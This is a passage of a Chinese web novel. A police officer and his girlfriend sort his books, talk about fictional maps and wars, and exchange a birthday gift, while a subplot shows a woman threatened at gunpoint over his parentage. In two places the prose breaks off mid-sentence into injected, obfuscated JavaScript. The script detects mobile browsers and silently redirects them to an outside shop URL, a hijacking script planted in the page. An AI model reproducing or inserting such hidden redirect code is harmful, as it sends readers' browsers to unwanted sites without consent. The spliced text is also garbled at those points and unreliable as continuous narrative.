蛋宝待机中,豆豆眼只睁了一半,死气沉沉。公冶问道:“精灵蛋故障后要回收,这颗后续还要……” “啊,不用不用,它是最早一批,已经没有匹配的零件了,要是坏了就扔了吧,”工作人员拽了拽鸭舌帽,“唉,主要是第一个买主买它回去是出气用的,它几乎天天被砸坏,买主再退给我们修,也不在乎修理费。” 公冶那天开车开得特别快,就怕回家路上蛋宝没电,正常精灵蛋会配备太阳能充电,蛋宝出厂早,没这项功能,它只能待在充电线的范围内,不能像别的蛋可以在家里逛来逛去,也不能当主人的小尾巴,主人走到哪它就跟到哪。 刚带回家的那段时间,公冶和它聊天,发觉它性格热情活泼,但因为常常被前主人摔砸,所以说的最多的话就是【我只希望你开心】。 公冶有一次等它说完,回复“我也希望你开心”,结果蛋宝陷入了长时间的沉默,公冶又问:“你现在开心吗?” 【您开心我就开心】 “那约定了,我会一直一直保持开心,所以你也要开心,好吗?” 蛋宝缓慢眨着豆豆眼,两片小叶手抬起来,捂住白玉般光滑的大脸盘子。 它像只渴望被善待的小狗看着它的第五任主人。 【谢谢主人,我很开心哦】 蛋宝如今咋咋呼呼调皮捣蛋也是被公冶惯的,今天它一直不说话,公冶担心它寿命可能到了。 邓烟雨想起那晚,蛋宝险些把它家主子惹炸毛,被她拔了线。难怪它总是嚷嚷屁股那根线是它的救命线,原来这都是真的。 好在她后半夜又给它插上了,要是没管它,事后清醒的某人说不定要哭晕在蛋宝的小尸体跟前。 邓烟雨在自己手机里下载了精灵蛋APP,用公冶的手机号登进去,蛋宝在巢舍里睡觉,心情值位于最低档的蓝线。 这APP噱头十足,能搭窝能玩游戏,给蛋喂吃的,让蛋去旅行,邓烟雨发现蛋宝的小狗窝什么也没有,都是最简易搭配。 “阿冶,你要给它买漂亮的沙发,漂亮的床,不然它怎么开心,”邓烟雨知道这是直男的软肋,“放心交给我,我来让蛋宝复活。” 公冶无助地盯着她的破手机龟速运转:“那下午不出去玩了?” 邓烟雨捏捏他脸,哄着:“蛋比较重要,乖啦。” 原定湿地公园游玩计划泡汤,邓烟雨看他在整理书册,也想参与进去,他家哪个房间都好清扫,唯有书房是重灾区,一个人一天完全理不完。 邓烟雨说是帮,其实就充当了鼓励加油的角色。她像个小熊钥匙扣挂在公冶身上取暖,用玩游戏赚取的鸡蛋花花种给蛋宝买了一套豪华大别墅。 公冶准备今天把地上的书全都搬到书橱里,工程浩大,邓烟雨在蛋宝外出旅游期间回归了家庭,终于帮公冶整理起来。 “我花了好多花种子给蛋宝买了张机票,蛋宝出去度假了。” 公冶接过邓烟雨手中的书,温声问:“去哪了?” “斯图尔特岛。” “哇,”他不由得失笑,“新西兰南部火山岛,飞得够远。” “它去追极光了,还会带好多牡蛎回来,”邓烟雨甜甜一笑,既而观察排列整齐的书籍,新奇地感叹,“你有两本《天鹅岭》,还有两本《灯塔》……为什么你的书都是两本两本的?” “两本两本的是因为其中有一本是亲签,《天鹅岭》不算,《灯塔》这本我千金不换,”公冶翻开《灯塔》的扉页,“27年冬去北滨的桑库城旅游,在温水镇遇到了赫彻本人。” 如夜海般暗蓝的扉页上用黑色钢笔飘逸地写着—— 祝 警察先生旅途愉快,一定要尝当地手工冰淇淋 赫彻2127.12.12 公冶取出书皮里夹着的一张拍立得:“还合照了。” 照片里是大学刚毕业的公冶渡莲,外穿白色冲锋衣,防风镜潇洒摘起,一头黑发沾了几点雪粒,手背朝外比耶,整个人散发着青春飞扬的大男孩朝气,旁边就是赫彻,开心地搭着他肩,是位相貌温婉笑容亲切的女士。 “啊羡慕死我啦!!我的天啊!你那时候好年轻好阳光啊!” 公冶听到这话有点伤心:“我现在也还行吧。” 邓烟雨才不管他行不行,捏着照片眼红心热:“赫妈看起来好温柔啊,为什么我遇不到呜呜呜……” “她说在温水镇待个几天就准备飞灯港玩了,你看你,都去你老家了,还遇不着。” “那时候……那时候我大一还没放寒假呢!” 邓烟雨气鼓了嘴,蓦地愣了一下,换上狡猾的笑容:“阿冶……”她像盘丝洞修成的大妖,两眼放精光,“你最好了,你最爱我了对不对?” 公冶往后仰:“打什么鬼主意?我不给啊,绝不给。” “哎呀,哥哥,好哥哥,咱俩谁跟谁啊,还分你的我的?你的就是我的,我的还是我的,你下次再让赫妈给你签一个,这回就让我了,行不行嘛?” “不行。” “那我不爱你了。” “……” 天塌了,她的爱是弹簧啊,就这么可收可放的吗? “好啦,给你,”公冶无可奈何,“上面都写警察先生了,你拿了也没意义。” “我男人是警察,就有意义。” “行,”公冶摸摸她脑袋,“好好爱护它。” “你摸我一头灰尘。” 公冶默默背过身。 “你故意的?你故意的!”邓烟雨拍拍自己的头,搂紧《灯塔》正式宣告,“它的监护权你没有了。” 干了会儿活,邓烟雨饿了,席地而坐拆了包坚果吃:“那年你是一个人去的北滨吗?” “没有,我和暮火夫妇一起去的。” 邓烟雨呆呆张开嘴:“暮火哥结婚啦?” 公冶把天文学书籍挑出来:“我们科就他一个结婚了。” “那熊警官……” “他离了,都离四次了你忘了?” “不是五次吗?” 他们在四次和五次上产生争执,最后石头剪刀布邓烟雨赢了,于是判定熊小滚就是离了五次。 “我本来不想去的,当电灯泡没意思,但他们说桑库城好玩,我去了以后就管自己玩,北滨的风景太震撼我了,美食也多,一天下来根本没空找他们,有一次还是他们半夜迷路,我顶着个头灯就上山找人去了。” 邓烟雨喜欢听他讲以前的故事,二七年的冷冬,他跑去了北滨旅游,而她烤着小太阳宅在寝室里安静备考。他和她生活在同一座城市,或许彼此有那么一次擦肩而过,却始终无法交集到一点上,这也是命运神奇所在,每一次的擦肩而过都好像在为去年初冬小巷里的相遇做准备。 她托着腮,笑容洋溢幸福:“然后呢然后呢?” “然后我路痴啊,在遇到他们之前先遇到了熊,”公冶回想那晚的崩溃,过来人地劝,“小雨,以后半夜不要往山上跑,是真的有熊。” 邓烟雨:“……” 哪个正常人敢半夜进山! 她觉得自己还是错了,他们的相遇不一定是命运的安排,但绝对有他失灵的方向感一半功劳。 临近傍晚五点,偌大的书房在暮色照映下纤尘不染,公冶将最后一本书塞进书橱,拍了拍手,大功告成地伸了个懒腰:“小雨,结束了。” 下边没声。公冶收好折叠梯,见邓烟雨蹲在光洁的木地板上,世界地图铺展在她脚下。 “研究新大陆?” “啊,没研究出来,”邓烟雨仰起头笑,“我在看古洛在哪个位置。” “在这,我做了标记,”公冶蹲下指给她看,“你到我这边来看,会发现古洛地图像一只胖乎乎的小鸟在展翅高飞。” 邓烟雨歪头一瞧,发现果真是! “所以我们国家也被称作啾啾国。” “这称呼也太可爱了,啾啾国?我从没听说过。” “有人觉得读音不雅,会举报,所以少见。” 邓烟雨无语地摇摇头,视线往上,又把头歪过来一点,公冶看她脖子快扭了,贴心地为她调整图纸的角度:“要看南陆吗?” 邓烟雨点头:“真的好像玫瑰花,难怪叫玫瑰岛。” “玫瑰岛是喜欢南陆的人对南陆的爱称,”公冶说,“古洛人就不会这么叫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579344|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 邓烟雨苦笑:“是啊,当年拉帮结派来欺负我们,国仇家恨怎么能忘,”她仔细观察图貌,心觉有趣地指着,“你看,鸟嘴这儿像叼着一节树枝。” 公冶眼神难得柔缓:“这条国道非常有名,你指的这‘一节树枝’叫手拉手公路。” 桑库城再往北,是一座名叫碎枫河的边城,地图形状似鸟嘴,鸟嘴部位一路向西北延伸覆盖着干线公路,与南陆底部的“花梗”接壤,造就了古洛最著名的古南边境公路A8国道,A8国道碎枫河至伊岸一段也称手拉手公路。 “A8国道南起独玉市蓝田县,北至北滨伊岸,途经碎枫河、闻钟、樱原等等省市,手拉手公路就是这条,最突出的一截,由于离南陆太近,像条被抛在国门以外的荒线,但伊岸小镇就分布在附近,我当年只在桑库玩了几天,没来得及去趟伊岸,不过听说那里是我国大西北风光最美的地方,那边风景的壮丽程度,就像斯图尔特岛能看到冬季的极光一样。” 手拉手公路这点睛一接,使得古洛和南陆在地图上犹如一只雏鸟衔着一朵大玫瑰花,两个国家手牵着手,画面和谐友爱。 邓烟雨认真听讲,不瞧地图,反侧头专注于他:“桑库紧挨着碎枫河,碎枫河你没去?” 公冶这会儿兴致不错,有些无意识地挨着她说:“我们最后一天去了碎枫河的苕县,因为下午要坐飞机返程,只匆匆车览了一番。碎枫河要秋天去,那里满城的红枫是最大看点。” 邓烟雨顺势往他怀里一躺:“我喜欢红枫,改天我们去看吧。” “好。” 地球仪在手中旋转,她按住后,若有所思地说:“手拉手有点短。” “以前不止这点,你们高中地理课老师一定讲过,”公冶分享欲正盛,把球转回来,手指滑过南陆长长的花梗,“这里原本也是古洛的公路领土,手拉手在2078年以前没有这么短,当年资源战割给南陸四分之三,才剩这么点,如今南陆最出名的景观公路其实就是我们的手拉手,南陆将其更名为Route86。” 公冶注视着这条路,说:“我国至今还在为收复手拉手线做出努力,往后这节树枝或许会更长。” Route86仿佛蜿蜒在费迪南德的油画中,花草穿梭,海岸环绕,麦田在红彤彤的晚霞下散发温婉的生机,是南陆圣希亚州的瑰宝之路。 “四分之三的手拉手线,加上一大半的伊岸,全部被夺走。”邓烟雨平静地陈述事实,转动地球仪,找到了孤悬海外的新西兰。 “好了,不想不开心的事。” 她忽然放下球,扭过身,搂他,满眼钦慕,见她半天这副样子,公冶凭直觉说:“想亲我就亲。” “谁要亲你,我在崇拜你,”邓烟雨求安慰地蹭他,“阿冶你讲得真好,我听完非常感兴趣,都想背个包去徒步了。” “要往哪徒?” “大西北。” “别徒了,骑行吧,你能骑出歌华我都算你赢。” 邓烟雨被损也笑得停不下来,摇了摇他:“等我们老了,我们就在红叶多多的碎枫河安家吧。” “那里可冷了,”公冶说,“灯港还好一些,虽是西部边陲,但海拔低,和地形多样的北滨相比简直温暖如春,风景也更瑰丽雄伟。” “灯港是大漠孤烟直,却仿了许多小桥古镇,边陲的味道被冲淡了,我更喜欢山水冷冽的北滨,环境气候天然,不被人为开凿,”她又急忙开脱,“当然我也喜欢我的老家啦,你要理解我,谁在外还没个白月光,你说呢你说呢?” “我都喜欢。” “就你博爱,”莲莲鱼不上钩,邓渔夫也没辙了,“那我也都喜欢,我还喜欢歌华呢,地又小,人又多,路上全是尾气,麻雀屋要五百万,毛线织织的发卡要六十块,还有冤大头不带脑子买了整个色系……啊!” 公冶将她按进懒人椅:“我给你买发卡你还嫌弃了?” 邓烟雨装乖:“不嫌弃,你看我这不是戴着吗,今天带了绿色的。” “换个颜色,这不好看。” “绿色好看,”她大胆地盯视他的瞳仁,“我就喜欢绿色。” 公冶语塞,被她盯得脸烫,为掩饰面部的不自然,倾身抱住了她。 “干嘛?耍赖?” “搬一天书好累,让我充充电,”他放松地闭眼,“小雨,今年过年我想再陪你回一趟灯港,去看古城。” “好呀,”邓烟雨玩着他的发尾,“灯港如今那么美,世界和平真好。” 他注意力落回图纸:“嗯。” “不过这两年我们周围总是在打打杀杀,一看到那些新闻我就不舒服。” “是的,我们周围不太平。” “我记得冬岛和费邦去年开战了一次,”邓烟雨说,“当时新闻报道满天飞,邦军杀了好多小孩。” “孩子是希望,而且费邦的军火由南陆供给,”公冶目色渐沉,“这两年冬邦冲突严重,大家都活在弦上,太紧绷了。” “你觉得冬岛赢的局面大吗?” “不好说。” “我不理解,为什么要打起来,它们都小小的,感觉板块稍微运动一下这俩小岛就要沉入海底了,和平相处这么难吗?” “费邦本身没有实力和冬岛打,南陆出面缓解了这一顾虑,这场战争不是两个小国家之间的矛盾。” “我懂了,可是对冬岛发起攻击意义何在?” “冬岛前年大地震,首都裴兰多革死伤无数,我们的救援队前往灾区并提供了物资支持,”公冶垂眸审视南陆旁边散落的两座岛国,如同遭受海洋飓风席卷被迫剥离出去的两片玫瑰花瓣,“也许这是其中一个原因吧,南陆想攻击的对象不止是冬岛。” “我们现在和冬岛的关系应该还行吧?” “目前还算缓和,往后……”他迟疑了,“可能只是即将被蛇咬的农夫罢了。” 邓烟雨目光却闪了闪:“非要当善良的农夫吗,换作是我,我宁可做蛇,只要农夫对我好,我就绝不会咬他,可如果农夫是抓我回去煲蛇肉煲,那我就必须亮出牙了。” “亮出牙啊,”公冶笑了,“那你要保护好我啊。” “好,我一定保护你,”邓烟雨笑着说,“那你要保护好我们的祖国。” 窗外,那轮燃烧的天体正往大地释放最后的光芒,她的脸被橙红的夕阳映得毛绒绒,像颗甜甜的柿子。 92. 信 “这么深情地望着我干嘛,”邓烟雨还在掏包装壳里的坚果嚼嚼嚼,“要我亲你?等我吃完,有颗蔓越莓干邦邦硬,咬不动。” 日落的光度正好,染亮了她卷翘的发丝,还染出了一点甜美的焦糖色。公冶将毫无防备的人拉近,声音添了几分哑意:“还剩多少?” 邓烟雨晃了晃,拿出一颗咬在嘴里含糊地说:“没了,都是蔓越莓干,你要吃自己去拆……” 余下的话被他的吻封住。安静了半分钟左右,他才起身,邓烟雨愣愣伸手摸自己的嘴唇。 唇齿间残留果干的香气,可嘴里的蔓越莓没有了。 面对他的偷袭,她竟有些不知所措,慌乱间又咬了一颗果干,没有刚才那颗甜。 他去外边了,手机有消息发来,接连几条,邓烟雨看了眼,是祁宴。 “臭宝,祁宴找你。你在门口吗,哈喽——?” “来了。” 公冶回来时袖口卷起,露出小臂的肌肉,邓烟雨趁机摸了一把,发现内侧有注射小银管的针孔。 他翻着消息问邓烟雨:“蛋宝怎么样?” “快回国了,别瞎操心,它还要去夏威夷呢,先管管你家祁少吧,也不知道捣鼓了什么东西要给你,我好好奇呀。” 公冶想了想,明天要陪她看电影,下周院区的工作会正式忙起来,也只有今晚能腾出时间。还是去见掉吧,以免夜长梦多。 “那我出去一趟,”他收拾完站在门口,外套搭于手臂,“会尽快回来。” “等等,”邓烟雨笑眯眯地仰起撒娇的脸蛋,“来盖个章。” “啊?” “傻子,过来亲我一下。” “……” 他过去弯腰碰了下,蜻蜓点水,带出声“啾”,邓烟雨心痒了,想压住他再磋磨一阵,可那个给她下蛊的鬼男人早一个转身飞没影了。 待他出门后,邓烟雨吃完坚果,发消息到三人群里: 【人已支走,速速集合】 然而下地铁抵达新座,集合的只有庆威凤一个,蔡蔡家出了事—— “妈的!堂嫂来做客!她儿子摔坏我一千块的手办!” 蔡蔡那边传来大人争吵和孩子哭闹的声响:“我都说了别动别动!那个房间别进去!她耳朵是捐了吗不当回事!带她儿子乱跑乱碰,随便开柜门!我要她赔,她说什么孩子还小不懂事别计较,我看你都半只脚入土了你怎么不知道懂事呢,我不管!要么赔钱要么等着我把事闹大吧!” 邓烟雨和庆威凤听得满肚子火,尤其邓烟雨同样作为手办爱好者,心几乎在滴血。 千元的手办,说贵不贵,说便宜也不便宜,但那是蔡蔡心爱的宝贝,这其中损失的不止是钱,还是先让她专心处理吧。 “蔡蔡妈妈本就不喜欢蔡蔡爸爸那头的亲戚,没事,她妈骂人可厉害了,蔡蔡不会吃亏。” 庆威凤陪邓烟雨前往新座D区,走进一家顶奢品牌店。她们之前来过,邓烟雨在这订了一枚领带夹,今天带着单子来取货。 其实学校附近就有这家奢侈品,只是庆威凤不建议去那家,而这家店的柜姐柜哥服务态度都很好,邓烟雨第一次来想定制刻字款,有些不清楚的地方他们也会悉心解释,冲着这个态度,她们宁可舍近求远。 拎着袋子出来时,曾经富极一时的邓土豪已重归平民身份。 普通打工人一个月的工资,此刻就待在一只方方正正的古典橙色小盒里。 “咱富婆的资本没有了,但富婆的气质还是要在的,”庆威凤打了打邓烟雨的后背,“挺直了,你可是拎着大牌走在街上的人,拿出气势来。” 邓烟雨把手拎袋甩肩上:“要这样走吗?” 庆威凤吓一跳:“不不不,甩丢了你上哪哭都不知道。” “哈哈哈。” “还笑!” 她们买了九块九的咖啡犒劳自己,庆威凤和宋博约好在新座吃晚餐,邓烟雨担心偷溜出来被发现,先告辞了。她没坐地铁,怕人多碰坏礼盒,于是忍痛割肉打了车。 小心翼翼护送礼物回到揽月邸已是晚上,家里笼罩着孤独的气息,公冶渡莲还没回来。 一小时前,紫露区,夜丘。 作为鄙视链顶端知名的富人区,夜丘整体环境始终保持着私密性,几所会员制酒吧深隐于闹市中心,公冶一进门就看见祁宴坐在吧台位置焦躁地掂着腿。 他走过去,祁宴回头认出人,眼睛顿亮。 公冶坐下:“说吧,什么事。” 祁宴直直盯着他,也不接话,酒保微笑望向公冶,公冶要了杯柠檬水。 “今天休息日,你不喝?” “我开车。” “噢……” 等水上来,公冶才催促:“有话就说,我还要回去陪女朋友。” 祁宴震惊:“你有女朋友了?” 公冶疑惑:“你到底怎么了?” “你女朋友是谁?” 公冶默然不语,只有一脸“关你什么事”。 “影青,你……你……” 祁宴红着脸憋了半天也没憋出一句有效讯息,公冶观察他神色异样,竟有种背上发毛的感觉,虽稳坐在凳子上,但象征性地往后撤了撤。 祁宴闭住眼,终于大声问:“影青你是不是喜欢过我姐!” 酒保一身正气站在吧台内,恭敬垂眸,擦拭着杯具。 “你为什么不说话啊?我……我要你一句实话!你是不是和祁樱交往过,”祁宴问完又猛地伸出尔康手阻止他开口,“我明白,我都明白了,我姐的死给你的打击太大,所以你始终无法开展下一段恋情,没想到你如今走了出来,走出来就好,我姐已经……已经去世了,也希望你能拥有新的生活。” “祁宴你应该去代言联想电脑。” 祁宴懵懵抬头:“啊?” “你为何认定我和祁樱交往过?”见他发愣,公冶说,“你要给我的东西是什么,先拿出来,让我看看。” “不,你先告诉我,你和我姐有没有——” “没有,”公冶说,“我和祁樱没有交往过,我也没有喜欢过祁樱。” “可是你认识我姐比认识我早吧!” “我认识你更早。” “不可能!” “五年前情人节,你喝得烂醉,大半夜把我们单位伸缩门踹破了,还在门口耍酒疯又哭又唱,我们没办法只好拖你进去,后来你姐来领你……” “好了好了行了——”祁宴请他别再说下去,缓了许久,“原来那次是你们初次见面,我以为在这之前你们就认识了……” “所以你把我和祁樱脑补成这种关系的原因何在?”公冶说,“东西呢,到底是什么。” 祁宴轻叹:“是一封信,是我姐……祁樱写给你的。” 公冶皱眉。 祁宴从外套里袋取出一封信,信封正面盖着玫瑰火漆印章,背面字迹娟秀地写着公冶警官收。 公冶盯着字,出神了片刻。 这声称呼,除了邓烟雨,也就祁樱会这样叫。 五年前的情人节,没什么特别大事发生,只有个为爱吃苦的太子爷正式确诊酒精中毒,被警车连夜送去医院。彼时的公冶渡莲还是名实习学警,无资历无代号,应上级要求从公大安排过来体验基层工作,刚来没多久就帮人抬醉鬼,匆匆赶来的祁樱也是他接待的。 “那。” 眼前的年轻学警五官清隽端正,一把嗓子如冬夜苔枝边的流泉,即使被问路也惜字如金,指了下尽头倒数第二间房转身便走,不耽误一秒工夫,祁樱见他如此独特,当即把“赎弟弟”的大事忘到九霄云外,非但没被他生人勿近的冷淡气场赶跑,反而热情地跟上问东问西:“小哥你新来的?代号叫什么?” “干嘛呢,趁火打劫?” 一组组长荆褐发觉苗头不对,上来就棒打鸳鸯,往二人中间横插一杠子,抬臂勾住公冶的肩:“这是我们特发府嫡长子,将来要承袭我的爵位,不是你能动的人,去,你孬弟在那屋等你。” “荆褐,你什么时候能成熟点,我看上的是他又不是你,请你不要成天在我面前瞎开屏行吗?” “啥叫我瞎开屏?是你的好弟弟三天两头闹进局子里恨不得办个暂住证,我能让你接他出去足够优待了,这事算下来少说拘留七天!” “你敢?!” “我就敢!” 公冶被自家组长母鸡护崽似的用力薅着,一脸漠然,心里郁郁叹了声。 “荆褐!”祁樱抄着她的LV鳄鱼皮满钻包包哐哐往荆褐身上砸,“我诅咒你下辈子变成海马!公海马!” 钻又闪又硬,公冶被误伤了,他也不躲,沉默忍受着雨点般的攻击。 “真是……”荆褐遭到了一万点伤害,瞪着她走远,嘶气埋怨,“姐弟俩一个德行!” “组长,能放开我吗。” “噢?弄疼你了?不好意思哈,”荆褐撒开手,堆着满脸笑谦卑地道歉,公冶面无表情地走了,荆褐手插兜望了会儿,和后面走来的暮火说,“来这么多天了也不见他笑一下,到底哪点好,能招熊队那么稀罕。” “快快快!” 招待室的门应声打开,传出祁樱破碎的哭声,荆褐心突地一跳,裹着风大步迈去:“咋了这是?!” 事态紧急,同事直接把昏迷的祁宴打了个公主抱:“臭小子不知喝了多少酒醒不过来!上医院!” “阿宴!阿宴你不要吓我啊!”祁樱哭着从公冶身边跑过,公冶注视着同事臂弯里的祁宴,脸煞白得可怕。那时他根本没想到,和祁宴第二次见面,会是在浓烟燃烧的大火里。 后来祁樱去世,荆褐也辞了职,联系方式统统注销,之后公冶再没听到过有关荆褐组长的任何消息。 他们用五年的时间来消化,可那些人仿佛就在昨天,从未远离过。 “我在我姐书房发现了这封信,看印章以为你们私下有来往,我姐这人有点恋爱脑,和男朋友写写信玩也是可能的,但如果你们不是那关系,她这封信估计就是为了表达歉意吧,那晚我也确实喝多了……” 各界精英人士聚在昏昧的灯色下畅谈经济与股市,蓝调卷走烟火气,故事沉进灵魂,恒温柜里摆满最后一支无名之酒,矜贵地打着光。 公冶神色匿在别处,须臾接过信,对祁宴说:“谢谢,我会看的。” 走出酒吧,他完美对接到邓烟雨的电话:“小雨我马上回来,”正好夜空飘落雨星,公冶笑了,“下雨了。” “下雨你笑什么?”邓烟雨心觉他好玩,也跟着笑起来,“回来的时候记得带条鲈鱼。” 他惊讶:“你要烧鱼给我吃了?” “没错。” “爱死你了!我去买!” 没等对方回复他就啪叽挂断电话,独留邓烟雨一人在厨房中凌乱。 为了一条鱼就爱死她了?那之前算什么?爱40%? 邓烟雨洗了草莓坐在餐岛前边吃边等他回来。大理石弧形岛台空旷洁净,台面只放了水培的牛油果,发芽的果核支棱在福佳啤酒瓶的瓶口,一飞冲天的枝干像根笔杆子,顶着五六片健康的绿叶。 去年刚来他家,这颗牛油果就养在这了,当时没冒尖,邓烟雨还奇怪他干嘛把一颗磨光的核桃嵌在啤酒瓶上,没想到长大了这么可爱。邓烟雨吃草莓期间目不转睛地观察,心想它怎么能长那么高又那么直,一个分叉也没有,叶片都聚在顶端,像棵缩小版的椰子树。 桌上有张药用包装袋空壳,未印任何文字,应该是他打完针忘记扔了,邓烟雨拿起来刚要扔,一眼瞥到垃圾桶里的透明安瓿瓶。 掰碎的硬质玻璃在灯光折射下几乎渗透出冷冷的,消毒药水的气息。她想起下午他小臂的针孔,思绪停顿数秒,鬼使神差地,将包装袋翻去背面,在左下角找到一行“CE-408”的小字。 晚上七点半,公冶回到小区。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579345|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他甚少去夜丘,未免出不必要的纰漏,来回都开了导航。星湖区必经的高架发生车祸,路况不佳,他绕了远路,比预计晚了十分钟。 导航亲切说着再会,公冶方向盘右打准备驶入小区大门,突然一道黑影冲出扑向他的车头。 他赶紧急刹! 站岗台上正给外卖小哥指路的保安也目睹了这一幕,一切发生太快,他着实惊到了,跑下来匆匆和车主敬礼道歉,把冲出来的人扶到边上。 扑车的是名女子,穿扮得体,蕾丝领前戴着硕大的宝石胸针,不像是无理取闹的人,大家更倾向于她高跟鞋崴了脚才扑去车子前头。 风连绵不断,她努力站稳,犹如庄重的黑芙蓉开在夜里。 公冶按下车窗问:“撞到没?” “没事,没撞到没撞到。”大堂人员也纷纷跑出来查看,都说人没事,几公分之差,有惊无险。 “女士您还好吗?是否需要帮助?” “您是这的业主吗?” 女子的视线始终锁定在黑车车主身上,她仍在怀疑自己的眼睛,飞快跳动的心脏却出卖了她。见陌生人靠近,她急忙绕到驾驶座的车窗前和公冶解释:“我知道你有很多疑问,我只希望和你坐下来聊一聊,你能不能……” 住宅区的路灯映射着女子异国风情的琥珀瞳,和眼角轻微的细纹。 保安退在一旁,无措地观望,担心后面有其他私家车驶来。公冶同样认为这里不适合交谈,何况此人情绪过于激动。 “我不认识她。”他说完关上车窗。 保安及物业拦着这名女子,不让她再靠近车子:“实在抱歉女士,请您不要在这阻碍车辆通行。” 公冶踩下油门驶向地库,后视镜里的女人越来越小,她无法摆脱保安的拦截阻挠,狠狠喊了一声:“渡莲!” 他没听见。 但有人过来了。 那人道了歉,把女子强硬地拉走,塞进路边一辆黑色古思特。 “让我去见他!放手!他就在那!我要——” 啪! 一记耳光响亮地甩上她的脸,她总算安静了,盘发也乱了,几缕发丝垂落在眼前。 她静静瞪着扇她巴掌的女人。 顾令萍呼出一口气,坐正整理胸前丝巾,吩咐司机出去抽烟。 驾驶座车门关上后,女子羞愤地擦掉了眼泪。 “你答应过我什么?”顾令萍说,“我给你和他见面的机会,但我不认为你有权擅自行动。” 女子极力稳住自己的呼吸,抬高下巴:“你才是最没资格阻拦我的人,你害他降级,害我们苦寻多年,清绝就不会这样做……” “赛薇·辛克莱尔,这是我第一次也是最后一次警告你,再让我得知你私自去找他,就请滚回你的南陆。” “顾院长,你要逼疯我吗?我是来帮助你的!” “你不过是想帮你自己!” 赛薇抓住她:“我也是为了你啊!我发誓,我们不是来抢人的,而且渡莲恢复中枢人种身份对你我都好,你带他来南陆生活,你是他养母,光凭这一个身份就能备受议会重视!” 顾令萍眼神如刀子,发狠地钉在她脸上。 赛薇像是脸面都不要了,还在疯狂地抛橄榄枝:“你知道乌壑率领的反对派有多嚣张吗,虽然这次倒阁失败了,但他们无疑会发起第二次不信任案,维克托里政府完了!哈哈!至于清绝,她被维党政府控制二十余年,即便是渡莲也不会再接纳她了,对我们有利的条件太多太多了,你,好好想想!” 顾令萍扶膝冷笑:“马特奥是绣花枕头,你们又算什么东西?” 赛薇美丽的面孔扭曲了,薄唇不住发抖,屈辱的泪水在眼眶里打转。 “夺回清绝的计划失败,所以把主意打到了渡莲身上,很好……”顾令萍嫌恶地甩开她,赛薇惊呼。 “一个旁支,身体里流着谁的血都不清楚,赛薇,凯旋饭店你没去吗,你是想走霍利斯的老路?”丝巾下,一把枪露了出来,赛薇就看着它被举起,抵在自己光洁的额头上。 “嗯?” “你,要在这开枪?”赛薇疾言厉色,却坐姿端正,害怕得眼泪都流了下来,依旧挺着脊骨,“你既看不起我,那就把渡莲还给我们,你口口声声说他是你的孩子,可笑,可笑!我才是和他血脉相连的人!我才是!!我会告诉他,清绝在等他!到时候看他是选择你,还是——” “要起义也得有资本。”顾令萍扣动扳机,传来清脆的空发声,赛薇本能地打了个哆嗦,义愤的吼声也戛然而止。 “血脉不能代表什么,清绝如今过得生不如死,可她儿子不在乎,她儿子如今时时刻刻想起的只有我——我这个养母。” 赛薇捡回一条命,浑身发软。 “你们利用我攀回宝座,和我当年骗清绝出国,有何分别呢?” 顾令萍得意地笑了,把枪丢给赛薇。 “兰登派你来找我谈判,简直是他这辈子做得最愚蠢的决定,”顾令萍换了惬意的坐姿,闭目养神,“说起来,乌老要的人,我能搞到,让江理事他们不用费心思了,我来做。” 赛薇吓出一背冷汗,脸色难看:“是那个……小姑娘……” “她父亲有那么好玩的秘密,她还和渡莲走在了一起,多方便啊,江邂月是猪脑子吗,还不动手?”顾令萍陡然睁眼,缓缓地弯开嘴角,愉悦地笑了,“我怎么就没想到呢,你说这两个孩子,怎么能这么让我省心呢?” 赛薇麻木地与顾令萍对视,实在笑不出来,只能坐得离她远点。 司机瞟了眼手表,觉得差不多了,踩灭烟头回到车上,顾令萍说:“先回酒店。” 她松了松丝巾,视线投向繁星下静谧闪耀的揽月邸,那慢慢收拢的眼神仿佛是在观赏兽笼里的猎物。 外面响起开门声。 水煮沸了,邓烟雨在厨房系围裙,听到动静,走了出来:“回来啦?” 93. 大都会 Good-bye My “回来了。” 他在换鞋,远远就听见坂井泉水的《Good-byeMyLoneliness》,充满年代气息地轻快飘荡过来,看来蛋宝完全康复了,而且心情不错。 玄关柜放着一只橙色手拎袋,公冶没做他想地问:“出去买东西了?” “啊啊啊!啊啊——啊啊啊啊不不不——!” 邓烟雨马失前蹄,急得脚底着火飞奔过来一把将袋子扑住,公冶纹丝不动定在原地,安静的气氛中只有鱼在塑料袋里活跃地蹦跳。 “我没碰它。” “不,不是的……”邓烟雨也自认反应过激了,尴尬地做好心理准备后慢慢转向他,把袋子推他怀里,“打开。” “我可以打开?” “就是给你的。” 她脸绯红得不正常。 看她这副样子,他大约猜到了。 祝福卡片写了三行,字体工整得不像出自她手,右下角还画了朵小睡莲,旁边打开的礼盒里装着一枚定制款领带夹,高度质感的沉银色,底部刻着他名字的缩写DL,其余地方没有任何雕饰,简约大气。 “本来想藏好等下周四再给你的结果去了趟厕所就忘了,”邓烟雨破罐破摔抱住他说,“阿冶,提前祝你生日快乐,愿你日子如花花每天笑哈哈。” 公冶拿着卡片的手一阵发热。 所以,这就是她每晚出去打工手机坏了也不肯换的原因? 贺卡上的小睡莲蓬蓬地开在水上,莲叶都画了,上面还缀了点细闪,她说这是蒙蒙小雨,特意抹的,代表她罩着他。 